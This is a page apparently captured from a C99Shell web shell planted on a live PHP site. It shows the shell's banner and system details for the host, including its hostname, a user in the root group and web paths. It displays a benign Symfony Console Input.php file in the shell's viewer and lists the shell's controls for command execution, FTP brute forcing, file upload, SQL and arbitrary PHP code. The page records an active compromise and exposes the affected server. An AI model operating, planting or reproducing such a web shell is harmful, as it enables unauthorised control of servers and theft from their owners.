!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/symfony/console/Input/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Input.php (5.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Input;

use 
Symfony\Component\Console\Exception\InvalidArgumentException;
use 
Symfony\Component\Console\Exception\RuntimeException;

/**
 * Input is the base class for all concrete Input classes.
 *
 * Three concrete classes are provided by default:
 *
 *  * `ArgvInput`: The input comes from the CLI arguments (argv)
 *  * `StringInput`: The input is provided as a string
 *  * `ArrayInput`: The input is provided as an array
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
abstract class Input implements InputInterfaceStreamableInputInterface
{
    protected 
$definition;
    protected 
$stream;
    protected 
$options = [];
    protected 
$arguments = [];
    protected 
$interactive true;

    public function 
__construct(?InputDefinition $definition null)
    {
        if (
null === $definition) {
            
$this->definition = new InputDefinition();
        } else {
            
$this->bind($definition);
            
$this->validate();
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function bind(InputDefinition $definition)
    {
        
$this->arguments = [];
        
$this->options = [];
        
$this->definition $definition;

        
$this->parse();
    }

    
/**
     * Processes command line arguments.
     */
    
abstract protected function parse();

    
/**
     * {@inheritdoc}
     */
    
public function validate()
    {
        
$definition $this->definition;
        
$givenArguments $this->arguments;

        
$missingArguments array_filter(array_keys($definition->getArguments()), function ($argument) use ($definition$givenArguments) {
            return !
\array_key_exists($argument$givenArguments) && $definition->getArgument($argument)->isRequired();
        });

        if (
\count($missingArguments) > 0) {
            throw new 
RuntimeException(sprintf('Not enough arguments (missing: "%s").'implode(', '$missingArguments)));
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function isInteractive()
    {
        return 
$this->interactive;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setInteractive(bool $interactive)
    {
        
$this->interactive $interactive;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getArguments()
    {
        return 
array_merge($this->definition->getArgumentDefaults(), $this->arguments);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getArgument(string $name)
    {
        if (!
$this->definition->hasArgument($name)) {
            throw new 
InvalidArgumentException(sprintf('The "%s" argument does not exist.'$name));
        }

        return 
$this->arguments[$name] ?? $this->definition->getArgument($name)->getDefault();
    }

    
/**
     * {@inheritdoc}
     */
    
public function setArgument(string $name$value)
    {
        if (!
$this->definition->hasArgument($name)) {
            throw new 
InvalidArgumentException(sprintf('The "%s" argument does not exist.'$name));
        }

        
$this->arguments[$name] = $value;
    }

    
/**
     * {@inheritdoc}
     */
    
public function hasArgument(string $name)
    {
        return 
$this->definition->hasArgument($name);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getOptions()
    {
        return 
array_merge($this->definition->getOptionDefaults(), $this->options);
    }

    
/**
     * {@inheritdoc}
     */
    
public function getOption(string $name)
    {
        if (
$this->definition->hasNegation($name)) {
            if (
null === $value $this->getOption($this->definition->negationToName($name))) {
                return 
$value;
            }

            return !
$value;
        }

        if (!
$this->definition->hasOption($name)) {
            throw new 
InvalidArgumentException(sprintf('The "%s" option does not exist.'$name));
        }

        return 
\array_key_exists($name$this->options) ? $this->options[$name] : $this->definition->getOption($name)->getDefault();
    }

    
/**
     * {@inheritdoc}
     */
    
public function setOption(string $name$value)
    {
        if (
$this->definition->hasNegation($name)) {
            
$this->options[$this->definition->negationToName($name)] = !$value;

            return;
        } elseif (!
$this->definition->hasOption($name)) {
            throw new 
InvalidArgumentException(sprintf('The "%s" option does not exist.'$name));
        }

        
$this->options[$name] = $value;
    }

    
/**
     * {@inheritdoc}
     */
    
public function hasOption(string $name)
    {
        return 
$this->definition->hasOption($name) || $this->definition->hasNegation($name);
    }

    
/**
     * Escapes a token through escapeshellarg if it contains unsafe chars.
     *
     * @return string
     */
    
public function escapeToken(string $token)
    {
        return 
preg_match('{^[\w-]+$}'$token) ? $token escapeshellarg($token);
    }

    
/**
     * {@inheritdoc}
     */
    
public function setStream($stream)
    {
        
$this->stream $stream;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getStream()
    {
        return 
$this->stream;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--